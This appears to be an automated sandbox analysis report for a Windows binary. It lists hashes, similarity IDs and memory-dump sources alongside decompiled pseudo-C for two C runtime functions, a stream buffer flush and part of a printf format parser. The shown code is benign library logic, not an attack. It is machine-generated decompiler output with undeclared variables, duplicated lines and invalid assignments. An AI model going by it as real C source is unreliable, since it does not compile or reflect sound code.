Instruction ID: 4347f5df2c558a6eb0973a8e965887e17a292106d5a02d9de3c4bf4c08a3343a
Opcode Fuzzy Hash: a797aec44e91e0dc450a84248c1242c696e85b113d14fe6df772e500ecb98f72
Instruction Fuzzy Hash: C3E08CE9F8021473D910A5A0BC47F2F36184B40B08F60446ABF087B2C7E4BAAB2002CA

Uniqueness

Uniqueness Score: -1.00%

Function 004282A1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E004282A1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				signed int _t174;
				void* _t188;
				void* _t190;

				if(( *( *(_t188 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t188 - 8) + 0xc) =  *( *(_t188 - 8) + 0xc) | 0x00000002;
					 *( *(_t188 - 8) + 0xc) =  *( *(_t188 - 8) + 0xc) & 0xffffffef;
					 *((intOrPtr*)( *(_t188 - 8) + 4)) = 0;
					 *((intOrPtr*)(_t188 - 4)) = 0;
					 *((intOrPtr*)(_t188 - 0xc)) =  *((intOrPtr*)(_t188 - 4));
					if(( *( *(_t188 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t188 - 8) + 0xc) & 0x00000108) == 0) {
							 *((intOrPtr*)(_t188 - 4)) = 1;
							 *((intOrPtr*)(_t188 - 0xc)) = E00438190( *((intOrPtr*)(_t188 - 4)),  *(_t188 - 0x10), _t188 + 8,  *((intOrPtr*)(_t188 - 4)));
							L25:
							if( *((intOrPtr*)(_t188 - 0xc)) ==  *((intOrPtr*)(_t188 - 4))) {
								_t102 =  *(_t188 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t188 - 8) + 0xc) | 0x00000020;
								 *( *(_t188 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t188 - 8)) -  *((intOrPtr*)( *(_t188 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L00427590();
							_t190 = _t190 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *((intOrPtr*)(_t188 - 4)) =  *( *(_t188 - 8)) -  *((intOrPtr*)( *(_t188 - 8) + 8));
						 *( *(_t188 - 8)) =  *((intOrPtr*)( *(_t188 - 8) + 8)) + 1;
						 *((intOrPtr*)( *(_t188 - 8) + 4)) =  *((intOrPtr*)( *(_t188 - 8) + 0x18)) - 1;
						if( *((intOrPtr*)(_t188 - 4)) <= 0) {
							if( *(_t188 - 0x10) == 0xffffffff ||  *(_t188 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t188 - 0x14)) = 0x44b870;
							} else {
								 *((intOrPtr*)(_t188 - 0x14)) = (( *(_t188 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x7748c0 + ( *(_t188 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t188 - 0x14)) + 4; // 0xa80
							_t148 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t188 - 0x10);
								 *(_t188 - 0x1c) = E00437E50(_t148, _t174, _t174, 0, 0, 2);
								 *(_t188 - 0x18) = _t174;
								if(( *(_t188 - 0x1c) &  *(_t188 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t188 - 8);
								 *(_t114 + 0xc) =  *( *(_t188 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *((intOrPtr*)(_t188 - 0xc)) = E00438190( *(_t188 - 8),  *(_t188 - 0x10),  *((intOrPtr*)( *(_t188 - 8) + 8)),  *((intOrPtr*)(_t188 - 4)));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t188 - 8) + 8)))) =  *(_t188 + 8);
							goto L25;
						}
					}
					if( *(_t188 - 8) == E00430350() + 0x20 ||  *(_t188 - 8) == E00430350() + 0x40) {
						_t121 = E00438FD0( *(_t188 - 0x10),  *(_t188 - 0x10));
						_t190 = _t190 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00438F00( *(_t188 - 8));
						_t190 = _t190 + 4;
						goto L10;
					}
				} else {
					 *((intOrPtr*)( *(_t188 - 8) + 4)) = 0;
					if(( *( *(_t188 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t188 - 8);
						 *( *(_t188 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t188 - 8)) =  *((intOrPtr*)( *(_t188 - 8) + 8));
					 *( *(_t188 - 8) + 0xc) =  *( *(_t188 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x004282d9
0x00428323
0x0042832f
0x0042833e
0x00428344
0x0042834b
0x00428355
0x00428363
0x0042839b
0x004283a7
0x004284a6
0x004284c1
0x004284c4
0x004284ca
0x004284e3
0x004284cc
0x004284d2
0x004284d8
0x004284db
0x004284db
0x00000000
0x004284ca
0x004283b8
0x004283ba
0x004283bf
0x004283c1
0x004283c6
0x004283cb
0x004283cd
0x004283d2
0x004283d8
0x004283da
0x004283da
0x004283d8
0x004283e6
0x004283f5
0x00428403
0x0042840a
0x0042842c
0x0042844f
0x00428434
0x0042844a
0x0042844a
0x00428459
0x0042845d
0x00428460
0x00000000
0x00428462
0x00428468
0x00428474
0x00428477
0x00428483
0x00000000
0x00000000
0x0042848e
0x00428491
0x00428494
0x00000000
0x00428494
0x0042840c
0x00428423
0x00428499
0x004284a2
0x00000000
0x004284a2
0x0042840a
0x00428370
0x00428383
0x00428388
0x0042838d
0x00000000
0x00000000
0x00000000
0x0042838f
0x0042838f
0x00428393
0x00428398
0x00000000
0x00428398
0x004282db
0x004282de
0x004282ee
0x0042830c
0x00428318
0x0042831b
0x004284e8
0x004284eb
0x004284eb
0x004282f9
0x00428307
0x00000000
0x00428307

APIs

__isatty.LIBCMTD ref: 00428383
__getbuf.LIBCMTD ref: 00428393
__write.LIBCMTD ref: 0042841B

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 004283BA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 004283C6

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: b30b5cb7df4e148f09103e71afd64a54e7fd07410a6aa080d93176aba4b91ccc
Instruction ID: 45de460d7070de2ce07ddfc7ad7c625a54940a2d10db7ca705a124678181ee0c
Opcode Fuzzy Hash: b30b5cb7df4e148f09103e71afd64a54e7fd07410a6aa080d93176aba4b91ccc
Instruction Fuzzy Hash: D0510C74A01208EFDB14CF94D491AADFB71FF88324F14829DE845AB395DA35EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00429164, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00429164() {
				intOrPtr _t463;
				signed int _t492;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t492 - 0x460)) = 0x27;
					while(1) {
						L136:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L141:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00429820(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00429820(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00429820(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L158;
							}
							L154:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L158;
							}
							L155:
							if(__eflags < 0) {
								L157:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L159:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L169:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L171;
									}
									L170:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L174:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L178:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L203;
												}
												L179:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(__eflags == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0042AA50( *(__ebp - 0x1c), __eflags, __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E004297E0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if(__eflags != 0) {
													L199:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0042AA50(__ecx, __eflags,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L200;
												} else {
													L192:
													__eflags =  *(__ebp - 0x24);
													if(__eflags <= 0) {
														goto L199;
													}
													L193:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L194:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L195:
														__ecx = __ebp - 0x40;
														__eax = E00423790(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E00423790(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E00439180(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L197:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E00429780( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L196:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L198:
													L200:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L203:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L00422680( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L205:
													 *(_t492 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t492 + 0xc))));
													 *((intOrPtr*)(_t492 + 0xc)) =  *((intOrPtr*)(_t492 + 0xc)) + 2;
													if(( *(_t492 - 0x454) & 0x0000ffff) == 0 ||  *((intOrPtr*)(_t492 - 0x44c)) < 0) {
														break;
													} else {
														if(( *(_t492 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t492 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t492 - 0x4cc) = 0;
														} else {
															 *(_t492 - 0x4cc) =  *(( *(_t492 - 0x454) & 0x0000ffff) + 0x409110) & 0x0000000f;
														}
													}
													L7:
													 *(_t492 - 0x450) =  *(_t492 - 0x4cc);
													_t19 =  *(_t492 - 0x450) * 8; // 0x6000006
													 *(_t492 - 0x45c) =  *( *(_t492 - 0x45c) + _t19 + 0x409130) >> 4;
													 *(_t492 - 0x4d0) =  *(_t492 - 0x45c);
													if( *(_t492 - 0x4d0) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t492 - 0x4d0) * 4 +  &M00429674))) {
														case 0:
															L9:
															 *(_t492 - 0xc) = 1;
															E00429780( *(_t492 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t492 + 8)), _t492 - 0x44c);
															_t494 = _t494 + 0xc;
															goto L205;
														case 1:
															L10:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L205;
														case 2:
															L11:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4d4) = __ecx;
															 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
															 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
															__eflags =  *(__ebp - 0x4d4) - 0x10;
															if( *(__ebp - 0x4d4) > 0x10) {
																goto L18;
															}
															L12:
															_t48 =  *(__ebp - 0x4d4) + 0x4296ac; // 0x498d04
															__ecx =  *_t48 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00429694))) {
																case 0:
																	goto L15;
																case 1:
																	goto L16;
																case 2:
																	goto L14;
																case 3:
																	goto L13;
																case 4:
																	goto L17;
																case 5:
																	goto L18;
															}
														case 3:
															L19:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t72 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t72;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L24:
															goto L205;
														case 4:
															L25:
															 *(__ebp - 0x30) = 0;
															goto L205;
														case 5:
															L26:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t83;
																 *(__ebp - 0x30) = __ecx + _t83;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															L31:
															goto L205;
														case 6:
															L32:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4d8) = __ecx;
															 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
															 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
															__eflags =  *(__ebp - 0x4d8) - 0x2e;
															if( *(__ebp - 0x4d8) > 0x2e) {
																L55:
																goto L205;
															}
															L33:
															_t91 =  *(__ebp - 0x4d8) + 0x4296d4; // 0x8f929003
															__ecx =  *_t91 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004296C0))) {
																case 0:
																	L38:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L41:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L44:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L50:
																				L52:
																				goto L55;
																			}
																			L45:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L50;
																			}
																			L46:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L50;
																			}
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L50;
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L50;
																			}
																			L49:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L9;
																			}
																			goto L50;
																		}
																		L42:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L44;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L52;
																		}
																	}
																	L39:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L41;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L52;
																	}
																case 1:
																	L53:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L55;
																case 2:
																	L34:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L55;
																case 3:
																	L54:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L55;
																case 4:
																	goto L55;
															}
														case 7:
															L56:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4dc) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4dc);
															__ecx =  *(__ebp - 0x4dc) - 0x41;
															 *(__ebp - 0x4dc) = __ecx;
															__eflags =  *(__ebp - 0x4dc) - 0x37;
															if( *(__ebp - 0x4dc) > 0x37) {
																while(1) {
																	L178:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L203;
																	}
																	goto L179;
																}
															}
															L57:
															_t132 =  *(__ebp - 0x4dc) + 0x429740; // 0xcccccc0d
															__eax =  *_t132 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t132 & 0x000000ff) * 4 +  &M00429704))) {
																case 0:
																	L111:
																	 *(__ebp - 0x2c) = 1;
